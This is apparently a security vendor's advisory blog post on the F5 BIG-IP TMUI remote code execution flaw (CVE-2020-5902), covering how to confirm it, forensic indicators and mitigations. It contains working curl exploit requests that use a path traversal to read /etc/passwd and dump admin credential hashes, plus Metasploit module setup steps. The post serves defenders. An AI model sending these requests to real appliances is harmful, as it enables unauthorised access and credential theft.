Inside the F5 Big-IP TMUI RCE Vulnerability (CVE-2020-5902)
On July 1, 2020, F5 announced a critical vulnerability they are tracking as K52145254: TMUI RCE vulnerability (CVE-2020-5902). This was quickly weaponized on July 4th followed by public proof of concept (POC) code released (in various working conditions) on July 5, 2020, to include a Metasploit module pull request.
This exploit has been seen in the wild and is actively growing in popularity. The BlackBerry® Red Team and BlackBerry® Incident Response Team are tracking this threat from both an offensive and defensive perspective to share knowledge and awareness such as:
- Confirming the Vulnerability
- Exploiting Basics
- Forensics and Indicators of Compromise (IOCs)
- Conclusions and Recommendations
Since most of the publicly available POC code did not work against the BlackBerry test environment, BlackBerry consultants were able to successfully and independently achieve remote code execution using a netcat listener and three curl one-liners, one being double encoded. To give organizations more time to patch, we will not be releasing this method at this time but will use it to uncover additional forensic artifacts.
Figure 1: Working remote shell in our test environment
In summary, this vulnerability affects all F5 BIG-IP devices (LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM) versions 11.x – 15.x. These appliances are found in both virtual (cloud) and physical (on-premises) deployments and are used as application gateways, content delivery controllers, and access management systems that typically sit in front of critical applications providing access control, and act as a buffer between the applications servers and the Internet.
This vulnerability is rated at a 10, out of a scale of 1 to 10 on the Common Vulnerability Scoring System (CVSS), and allows an attacker with access to the web management interface the capability to access administrative credentials, directory traversal, and even gain shell access onto the F5 security appliances. As such, it is critical organizations attempt to perform mitigation procedures as quickly as possible.
Without mitigation or patching, attackers may be able and not limited to:
- Gain access to credentials
- Obtain administrative access to the F5 BIG-IP appliance
- Use the BIG-IP appliance as a foothold into a corporate network or use it as a staging area for malicious code
In order to evaluate the attack and defense, BlackBerry built a test environment which consisted of:
- Big-IP Virtual Edition (VE) - 184.108.40.206 Build 0.0.9
- Linux® version 3.10.0-862.14.4.el7.ve.x86_64
- RHEL 7.5
By default, SE Linux was enabled by default along with “auditing” logs:
Figure 2: SELinux is enabled
Figure 3: Audit Logs are enabled
Note: As always, before making any production changes, please remember to test configurations changes in a test/dev/QA environment first.
Confirming the Vulnerability
The vulnerability exists in the Traffic Management User Interface (TMUI), also referred to as the Configuration Utility as shown in the screenshot below:
Figure 4: Screenshot of the vulnerable page
Note: The following confirmation tests do not harm or make any changes to the device. They merely exercise the vulnerability and list the contents of the world-readable /etc/passwd file. If your output shows the contents of /etc/passwd as shown in our screenshots below, your device is vulnerable.
The vulnerability can be confirmed via a web browser by simply navigating to the following URL (Remember to replace <host> with your host and <port> with the port services your TMUI—in our case the port was 8443):
Figure 5: Confirming the vulnerability via a web browser
Using a web browser might be fine to confirm a single host, but if you want to scan all of your devices, you may want to script the validation using this one-liner curl command or something similar:
curl -v -k 'https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Figure 6: Confirmed host was vulnerable with curl one-liner to dump the /etc/passwd file
Note: The same command will not work on the /etc/shadow file because the apache server in our case is running as the apache user.
Unfortunately the risk goes beyond dumping the contents of a single file; it is also possible to obtain credentials from the appliance using built in functionality such as (in our case, it only showed that the password was encrypted):
curl -v -k 'https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Figure 7: Password hash disclosed
As the exploit becomes more popular, exploitation possibilities also increase. Using a Kali Linux host, we performed the following steps to test out the recently released Metasploit module:
1) Upgraded to the latest version of the Metasploit Framework:
apt update; apt install metasploit-framework
2) Obtained the CVE-2020-5902 ruby module:
wget -P /usr/share/metasploit-framework/modules/exploits/linux/http/ https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
3) Reloaded the modules within the Metasploit Framework:
Figure 8: New Metasploit module available
4) Used the cmd/unix/generic module:
set RHOST <target>
set VHOST <target>
set RPORT <port>
set payload cmd/unix/generic
set CMD whoami
Figure 9: Payload set to execute 'whoami' failed to return the output
After examining the F5 BIG-IP host, we confirmed that the Metasploit module did create the file with the proper command to be executed, but did not clean up after itself:
Figure 10: File was created with the proper command
More troubleshooting is needed to determine the reason for execution failure and failure to clean up after itself. At this point, our consultants abandoned the Metasploit module in favor of creating a reverse shell using a few one-liners.
Forensics and Indicators of Compromise (IOCs)
During evaluation of CVE 2020-5902, BlackBerry Incident Response Team discovered that the exploit may leave behind exceptions. These exceptions can be found in /var/log/tomcat/catalina.out.
One may search for them:
grep -i tmui /var/log/tomcat/catalina.out
Figure 11: Exceptions from the exploit attempt
In cases such as this, the logs may report a failed but attempted exploit of CVE 2020-5902. Additionally, the audit reporting can be seen in the logs accompanied by the Apache error logs shown below using:
Figure 12: Audit reporting
The F5 BIG-IP Appliance uses several configuration files in its web server, which is based on Apache, and uses a custom logging format which is sent to syslog. Because the logs are sent to syslog via /usr/bin/logger, the logs do not show up as being sent by apache or httpd. Because of this, logs must be searched using systemd’s journalctl instead of standard file commands (less,grep,cat, etc). The following command can also show a snippet of the logs:
systemctl status httpd
Figure 13: Snippet of logs
Initial analysis of the configuration indicated several configuration components (httpd.conf, httpd.conf.sam, ssl.conf, and others):
Figure 14: init.d configuration file
It appears the httpd.conf.sam is used as a reference and appended as a command line argument instead of being the loaded configuration. Each file had different references to the logs being generated. The most verbose and useful logs were the log_acc, however, while listed, the ssl.conf logs were the primary and only apparent logging used by the Apache web server in its current configuration.
You may search for these using: journalctl | egrep “ssl_req|ssl_acc”. Specifically, logs for the tmui contain the pattern “..;” which can be searched for similarly: journalctl | grep “..;”:
Figure 15: journalctl command used to search the logs for ..;
These logs do not contain query strings or user agents, which limit the forensic value of these logs. However, these logs do return the server status (in this example, you can see one success  and one failure ). Additionally, logs rotate, so enabling remote logging is important to prevent loss of data from the logs.
Conclusion and Recommendations
The following checklist can be used for a high-level mitigation approach:
- Perform the F5 mitigations
- Check for signs of compromise
- Change passwords (and shared passwords)
- Reach out to your incident response retainer service
- Enable remote logging
- Enhance existing logging (test in non-production environment first)
- Harden the device by disabling all unused functionality
- If services are needed, avoid exposing sensitive services outside of the organization (TMUI included) – instead require VPN access
Any organization that uses F5 Solutions BIG-IP appliances should perform the F5 mitigation procedures as soon as possible to prevent drive-by attacks and protect their network. After performing the recommended mitigations, check for signs of compromise.
Due to the low visibility of the attacks, BlackBerry also recommends businesses perform password changes for credentials that may be affected. If you have questions, reach out to your incident response retainer service. Similar to the recent CVE-2019-19781 Citrix vulnerability, the consequences for making mistakes are high.
Additional mitigations and alerting are possible using a combination of auditd configurations and log forwarding to ensure retention. Enabling remote logging can be done via the web configuration interface and ensures data is kept past rotation period. After enabling remote logging, make sure you alert on suspicious behavior and check the logs from time to time:
Figure 16: Step by step procedures for enabling remote logging via the TMUI
In addition to log forwarding and monitoring, auditing of the httpd user can allow tracking of abnormal activity by the appliance. While not a mitigation measure on its own, enabling enhanced audit logs can help alert on exploits and future activity.
Note: This may increase log size dramatically and may not persist past appliance updates—use with caution.
In a test appliance first, add the following to the /etc/audit/rules.d/audit.rules file:
Figure 17: Possibilities for additional auditing
Then simply run service auditd restart, to apply them. Alternatively, you may use auditctl -R /etc/audit/rules.d/audit.rules to apply them. The audit logs showed the shell being launched; from there, the attacker logs would take place as the root user. While this provides additional visibility, it may not provide complete visibility into all actions taking place by an attacker.
Figure 18: The additional logging was able to catch our reverse shell
For more information on F5 BIG-IP logging and locations, this article is a good reference: https://support.f5.com/csp/article/K16197
Figure 19: Logs and locations on F5 BIG-IP hosts
About Andrew Nelson
Principal Incident Response Consultant, BlackBerry
Andrew Nelson, a Principal Consultant for the BlackBerry Incident Response and Forensics team, has over 10 years of experience in Security, Intelligence, and Incident Response Operations across the Oil & Gas, Manufacturing, Technology, and Federal Government sectors.
Andrew leads many projects including compromise assessments, global APT incident containment engagements and remediation and recovery from large-scale ransomware attacks. Andrew's technical skills and experience include host-based digital forensic analysis, network forensics, malware analysis, adversary infrastructure analysis, threat hunting/detection, and forensic analysis of cloud-based systems and logs.
About Joe Needleman
Professional Services Incident Response Consultant at BlackBerry
About Mark Stevens
Mark Stevens was Technical Director of Incident Response at BlackBerry.
About Tony Lee
Vice President of Global Services Technical Operations, BlackBerry.
Tony Lee, Vice President of BlackBerry Global Services Technical Operations, has more than fifteen years of professional research and consulting experience pursuing his passion in all areas of information security.
As an avid educator, Tony has instructed thousands of students at many venues worldwide, including government, universities, corporations, and conferences such as Black Hat. He takes every opportunity to share knowledge as a contributing author to Hacking Exposed 7, and is also a frequent blogger, researcher, and author of white papers on topics ranging from Citrix Security, the China Chopper Web shell, and Cisco's SYNFul Knock router implant.
Over the years, he has contributed many tools to the security community such as UnBup, Forensic Investigator Splunk app, and CyBot, the extensible Threat Intelligence Bot framework designed for anyone from a home user to a SOC analyst.